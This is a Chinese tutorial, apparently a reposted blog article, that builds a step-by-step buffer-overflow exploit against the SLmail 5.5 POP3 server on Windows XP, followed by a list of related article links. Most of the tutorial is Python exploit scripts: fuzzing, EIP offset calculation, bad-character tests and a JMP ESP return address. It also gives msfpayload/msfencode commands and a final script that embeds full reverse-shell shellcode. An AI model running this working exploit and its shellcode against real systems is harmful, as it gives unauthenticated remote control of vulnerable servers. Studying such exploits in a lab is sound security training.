windows下简单的缓冲区溢出
缓冲区溢出是什么?
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
POP3 PASS 命令存在缓冲区溢出漏洞 无需身份验证实现远程代码执行
软件
slmail http://slmail.software.informer.com/5.5/
mona.py https://github.com/corelan/mona
immunity debugger https://www.immunityinc.com/products/debugger/
系统环境
kali 2.0
windows XP sp3
首先默认配置安装好软件,吧mona.py移动至debugger目录下的PyCommands文件夹里
在系统服务里打开 Seattle Lab POP3 Server
在kali中使用nc查看XP机器的110端口,回弹正确的话会有这样
就是测试这里会不会有缓冲区溢出
命令可以有 USER xxx 或者 PASS xxx
可以写个python脚本来实现这个基本功能
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER test"+"\r\n") data = s.recv(1024) print data s.send("PASS test\r\n") data = s.recv(1024) print data s.close() print "\n[*]Done" except: print "\n[*]Could not connect to POP3!"
我们打开 immunity debugger,file->attach->
选择哪个监听110端口的SLmail进程,然后attach
此时程序是被暂停的,右下角的paused可以看出,单击在工具栏上类似播放的按钮,启动程序
然后构造如下脚本测试大概多少字节会溢出
#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer) <= 50: buffer.append("A"*counter) counter+=200 for string in buffer: print "[*]Fuzzing PASS with %s bytes" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.116.139',110)) s.recv(1024) s.send('USER test'+'\r\n') s.recv(1024) s.send('PASS ' + string + '\r\n') s.send('QUIT'+'\r\n') s.close()
运行一下
2900发送了很久没有结果,说明程序已经崩溃了,回到xp看一下,可以看到程序已经停止,右下角有running变成了paused
把debugger重开,pop3服务重开,然后再attach再running再测试
这时候可以手工测试一下,发个2700字节的
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A" * 2700 try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\n[*]Done" except: print "\n[*]Could not connect to POP3!"
这时候程序已经崩溃,看一下xp界面
可以看到字节已经覆盖EIP,现在要做的就是要具体到EIP是从第多少个字符开始被覆盖的
这里可以用kali的一个工具生成不带重样的字符串
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l
会得到2700字节的不带重样的字符串
复制进python脚本,把第三个脚本buffer内容改成这串就行
xp那边准备好,运行一下
可以看到EIP的数值是39694438
这里需要注意的是在内存中地址和书写的不太一样,高地址放低位而低地址放高位
所以实际数值是38 44 69 39
换算成ascii码是 8Di9
你可以在文本编辑器里把之前的字符串复制进去然后查找这个的位置然后减一
也可以利用工具计算偏移量
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q
这里之前有2606个字符
也就是从2607个开始的覆盖到了EIP的地址
然后写个脚本确认一下是否正确
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A"*2606 + "B"*4 + "C"*20 try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
运行
可以看到,本来就写了四个B(ascii是42),刚好填充进EIP的地址,说明之前的实验结果正确
也就是已经可以控制程序下一条执行命令的地址
然后要做的就是把想要的shellcode写入目标地址里,接着需要寻找可写shellcode的空间
刚才在B之后还有C,看上图,C被写在了ESP
构造如下脚本测试ESP的能写多少
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A"*2606 + "B"*4 + "C"*(3500-2606-4) try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
3500是构造的数值,2606是A,4是B,运行
EIP依然是精准的四个B,而我们的C在ESP则一大串,在ESP地址右键 Follow in Dump
在左下角查看,找到B和C的交接地方
从01F7A154开始就是ESP的内容地址,一直拉到结束
01F7A2FC就是结束地址,用自带的计算器算一下
十六进制计算结果转为十进制,是424
shellcode一般需要300多字节,也就是说ESP这里完全够放下shellcode
但是在实际操作中,会有一些特别字符, 比如
null byte (0x00) 空字符,用于终止字符串的拷贝操作
return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
等等,还有程序自定义的特殊字符,我们需要测试出这些特殊字符,以免shellcode异常
而这些字符最多只有256个,也就是从00000000到11111111的全部,我们可以一一测试
构造如下脚本
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) badchars = ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" + "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" + "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" + "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" + "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" + "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" + "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" + "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" + "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" + "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" + "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" + "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" + "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" + "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" + "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" + "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) buffer = "A"*2606 + "B"*4 + badchars try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
可以反复测试,在ESP中查看具体,缺少哪个字符,或者到哪停止,替换为别的字符没问题,就代表那个字符有问题,有特殊含义,不能写在shellcode
实验中坏字符为:0x00 0x0D 0x0A
坏字符不多,写入一个shellcode是完全可能的,现在只要把ESP的地址写在EIP,就可以执行shellcode从而拿到shell
然而实际中,ESP的地址不固定,不能写死ESP,这时候需要固定的地址来跳转
比如操作系统的一些模块,有些地址是固定的,不随着任何东西改变,我们可以利用固定地址模块里的 JMP ESP命令跳转到ESP的动态地址
这时候需要用到mona.py
底下输入栏里输入 !mona modules
Rebase代表操作系统重启后内存地址是否发生变化,true代表变化
SafeSEH,ASLR,NXCompat 都是操作系统自带的安全保护机制,true代表是受保护的
OS Dll 代表是否是操作系统的模块,true代表是
我们选择前四列是false,最后一列是true的进程
比如选择slmfc.dll,我们需要查找这个进程有没有JMP ESP指令
因为JMP ESP是汇编指令,计算机并不识别,我们需要转换,回到kali执行命令
因为是十六进制,我们加上\x
执行 !mona find -s "\xff\xe4" -m slmfc.dll
找到19个
如果出现下图这样就换个进程接着找
双击任意一个,在内存数据框中,右键->Disassemble切换为汇编语言
如图,第一个就是我们要的地址 5F4A358F
为了测试这个地址是否可用,我们对这个地址增加一下功能
如图选择第一个选项设置断点,意思是访问到这个地址就终止
接着构造脚本测试
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "C"*400 try: print "[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\nDone" except: print "[*]Could not connect to POP3!"
需要注意的是地址是反过来写的,而且需要加\x
没问题的话会这么个结果,提示 在执行这个地址的时候内存断点
这就代表这个地址没问题
接下来我们生成shellcode来替换ESP的内容
为了过目标机防火墙,我们选择生成反向shell
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类 ./msfpayload win32_reverse LHOST= C
这里还有个问题就是之前说过的坏字符,不过我们可以利用另一个工具来替换,有时候也用来隐藏特征做免杀
./msfpayload win32_reverse LHOST= R | ./msfencode -b "\x00\x0a\x0d"
会类似这样
我们将shellcode写入脚本中
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) shellcode=( "\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfd\x6f\x3b" + "\x2d\x83\xeb\xfc\xe2\xf4\x01\x05\xd0\x60\x15\x96\xc4\xd2\x02\x0f" + "\xb0\x41\xd9\x4b\xb0\x68\xc1\xe4\x47\x28\x85\x6e\xd4\xa6\xb2\x77" + "\xb0\x72\xdd\x6e\xd0\x64\x76\x5b\xb0\x2c\x13\x5e\xfb\xb4\x51\xeb" + "\xfb\x59\xfa\xae\xf1\x20\xfc\xad\xd0\xd9\xc6\x3b\x1f\x05\x88\x8a" + "\xb0\x72\xd9\x6e\xd0\x4b\x76\x63\x70\xa6\xa2\x73\x3a\xc6\xfe\x43" + "\xb0\xa4\x91\x4b\x27\x4c\x3e\x5e\xe0\x49\x76\x2c\x0b\xa6\xbd\x63" + "\xb0\x5d\xe1\xc2\xb0\x6d\xf5\x31\x53\xa3\xb3\x61\xd7\x7d\x02\xb9" + "\x5d\x7e\x9b\x07\x08\x1f\x95\x18\x48\x1f\xa2\x3b\xc4\xfd\x95\xa4" + "\xd6\xd1\xc6\x3f\xc4\xfb\xa2\xe6\xde\x4b\x7c\x82\x33\x2f\xa8\x05" + "\x39\xd2\x2d\x07\xe2\x24\x08\xc2\x6c\xd2\x2b\x3c\x68\x7e\xae\x2c" + "\x68\x6e\xae\x90\xeb\x45\x3d\xc7\x4f\xaf\x9b\x07\x3a\x91\x9b\x3c" + "\xb2\xcc\x68\x07\xd7\xd4\x57\x0f\x6c\xd2\x2b\x05\x2b\x7c\xa8\x90" + "\xeb\x4b\x97\x0b\x5d\x45\x9e\x02\x51\x7d\xa4\x46\xf7\xa4\x1a\x05" + "\x7f\xa4\x1f\x5e\xfb\xde\x57\xfa\xb2\xd0\x03\x2d\x16\xd3\xbf\x43" + "\xb6\x57\xc5\xc4\x90\x86\x95\x1d\xc5\x9e\xeb\x90\x4e\x05\x02\xb9" + "\x60\x7a\xaf\x3e\x6a\x7c\x97\x6e\x6a\x7c\xa8\x3e\xc4\xfd\x95\xc2" + "\xe2\x28\x33\x3c\xc4\xfb\x97\x90\xc4\x1a\x02\xbf\x53\xca\x84\xa9" + "\x42\xd2\x88\x6b\xc4\xfb\x02\x18\xc7\xd2\x2d\x07\xcb\xa7\xf9\x30" + "\x68\xd2\x2b\x90\xeb\x2d" ) buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "\x90" * 8 + shellcode try: print "[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\nDone" except: print "[*]Could not connect to POP3!"
这里加上了8个\x90,\x90在汇编是无操作的意思,为了保证shellcode的有效性,如果跳转过来第一位就是shellcode的内容,有可能前几位会被擦掉,纯属经验之谈
现在在xp不用开任何监听软件,打开slmail的服务就可以
我们在本机监听端口444,然后运行上边的脚本,没问题就会反弹一个shell
而且可以反复溢出反复注入
还需要注意的一点是,如果你是新版本metasploit,那么shellcode没问题,如果是旧版本,它的shellcode退出方式是exitprocess,会导致程序崩溃,生成时需要加上 EXITFUNC=thread
新版本的metasploit已经没有这个问题
这个漏洞很老,适合新手学习,整个过程需要反复的验证可靠性,不失是一个经典溢出案例
enjoy it
windows下简单的缓冲区溢出的更多相关文章
- Linux下简单的缓冲区溢出
缓冲区溢出是什么? 科班出身,或者学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据 成功修改内存数据,可造成进程劫持 ...
- 【微服务No.1】Consul服务发现在windows下简单使用
基本介绍: 安装: 下载地址:https://www.consul.io/downloads.html 运行: consul agent -dev 显示这个界面说明已经开启成功. 页面显示: 然后访问 ...
- windows下简单安装postgres
目前版本是PostgreSQL 9.6,它经过以下平台认证: 32位Windows Windows 7,8和10 Windows 2008 Server 64位Windows Windows 7,8和 ...
- Consul服务发现在windows下简单使用
目录 基本介绍: 服务连接: 客户端: 系列章节: 回到顶部 基本介绍: 安装: 下载地址:https://www.consul.io/downloads.html 运行: consul agent ...
- 旧书重温:0day2【1】 简单的缓冲区溢出案例
0x01 准备: VMwarePlayer (我是在360软件管家那搜到的下载的) xp sp2 http://user.qzone.qq.com/252738331/blog/1357138598 ...
- windows下简单验证码识别——完美验证码识别系统
此文已由作者徐迪授权网易云社区发布. 欢迎访问网易云社区,了解更多网易技术产品运营经验. 讲到验证码识别,大家第一个可能想到tesseract.诚然,对于OCR而言,tesseract确实很强大,自带 ...
- windows下简单配置apache
不得不做个笔记,不然每次配置都记不清楚... 详细的配置朋友这边写的很好.地址 # 对 PHP 4 LoadModule php4_module "c:/php/php4apache2.dl ...
- QT开发(二) windows下简单部署
如果使用vs编译器 需要c runtime 例如(msvc110 )这种 还需要若干qt的dll 基本在qt的bin目录 如果使用了QWindow这种对象还需要引用qt目录 plugins下 的内容 ...
- windows下简单配置squid反向代理服务器
下载windwosNT版本的squid下载地址: http://squid.acmeconsulting.it/download/squid-2.6.STABLE13-bin.zip 1.把squid ...
随机推荐
- 记录使用Redis和nginx 实现一个简单的负载均衡(FB)
这两年在博客园看了不少大牛的分享,一直打算能写点什么东西. 之前偶然看见一个利用Redis 当作 Session数据宿主的demo,出处我已经找不到了.后来没事看了看nginx相关的东西.其中负载均衡 ...
- 洛谷P3209 [HNOI2010]PLANAR(2-SAT)
题目描述 若能将无向图G=(V,E)画在平面上使得任意两条无重合顶点的边不相交,则称G是平面图.判定一个图是否为平面图的问题是图论中的一个重要问题.现在假设你要判定的是一类特殊的图,图中存在一个包含所 ...
- htnl 定位
相对定位 相对定位:position:relative; 相对定位:相对定位是相对于元素在文档中的初始位置——首先它出现在它所在的位置上(即不设置position时的位置,然后通过设置垂直或水平位置, ...
- 图说OOP基础(一)
本文用图形化的形式描述OOP的相关知识.对OOP进行系统化的梳理,以便掌握,仅供学习分享使用,如有不足之处,还请指正. 涉及知识点: OOP的相关知识 OOP知识总图 [Object-Orientat ...
- Android 逆向实战篇(加密数据包破解)
1. 实战背景由于工作需要,要爬取某款App的数据,App的具体名称此处不便透露,避免他们发现并修改加密逻辑我就得重新破解了. 爬取这款App时发现,抓包抓到的数据是加密过的,如图1所示(原数据较长, ...
- JNI C反射调用java方法
前面记录了调用C的学习笔记,现在来记录一下C反射调用Java的笔记.JNI开发学习之调用C方法 Android开发中调用一个类中没有公开的方法,可以进行反射调用,而JNI开发中C调用java的方法也是 ...
- getprop从哪获取属性
Android SystemProperties设置/取得系统属性的用法总结 通过调查得知,Android系统中取得/设置系统属性的用法参考以下3篇文章就足够了. 1.Android SystemPr ...
- css的定义、用法、注释、命名规则、书写规范
什么是css: css全名是层叠样式表(Cascading Style Sheets) CSS的作用:给html标签添加"样式",样式定义了如何显示 HTML 元素 标签是可以由自 ...
- 使用Visual Studio Team Services敏捷规划和项目组合管理(四)——冲刺计划和任务板
使用Visual Studio Team Services敏捷规划和项目组合管理(四)--冲刺计划和任务板 团队在sprint计划会议期间创建冲刺积压工作项,通常在冲刺的第一天召开该会议.每个冲刺都对 ...
- mssql sqlserver 使用脚本输出excel文件的方法分享
转自:http://www.maomao365.com/?p=6683 摘要: 下文将分享使用sql脚本输出excel的方法 此脚本可以应用于 表或视图生成excel的方法,若需使用sql脚本输出ex ...